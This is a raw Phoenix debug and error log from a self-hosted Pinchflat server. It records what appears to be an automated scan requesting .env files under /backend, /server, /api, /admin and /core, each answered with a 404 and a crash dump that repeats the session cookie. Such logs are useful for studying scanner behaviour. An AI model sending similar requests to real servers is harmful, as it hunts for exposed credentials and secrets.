"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 14, host_info: :undefined }}, assigns: %{}, body_para (truncated) 17:14:21.263 [info] GET /server/.env 17:14:21.264 [debug] QUERY OK source="settings" db=0.1ms idle=544.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:21.264 [debug] QUERY OK source="settings" db=0.0ms idle=544.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:21.264 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:21.264 [error] #PID<0.11782.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 15) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /server/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11782.0>, params: %{}, path_info: ["server", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/server/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWdZIYvpMCNgABUSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 15, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:21.536 [info] GET /api/.env 17:14:21.536 [debug] QUERY OK source="settings" db=0.2ms idle=615.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:21.537 [debug] QUERY OK source="settings" db=0.1ms idle=545.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:21.537 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:21.537 [error] #PID<0.11783.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 16) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11783.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWeaInu6RogEABUUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 16, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ (truncated) 17:14:21.808 [info] GET /admin/.env 17:14:21.809 [debug] QUERY OK source="settings" db=0.1ms idle=817.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:21.809 [debug] QUERY OK source="settings" db=0.1ms idle=545.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:21.809 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:21.809 [error] #PID<0.11784.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 17) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /admin/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11784.0>, params: %{}, path_info: ["admin", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/admin/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWfbE7COWZvMABUWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /admin/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/admin/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 17, host_info: :undefined }}, assigns: %{}, body_params: %{}, (truncated) 17:14:22.080 [info] GET /core/.env 17:14:22.081 [debug] QUERY OK source="settings" db=0.1ms idle=544.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:22.081 [debug] QUERY OK source="settings" db=0.0ms idle=544.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:22.081 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:22.081 [error] #PID<0.11785.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 18) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 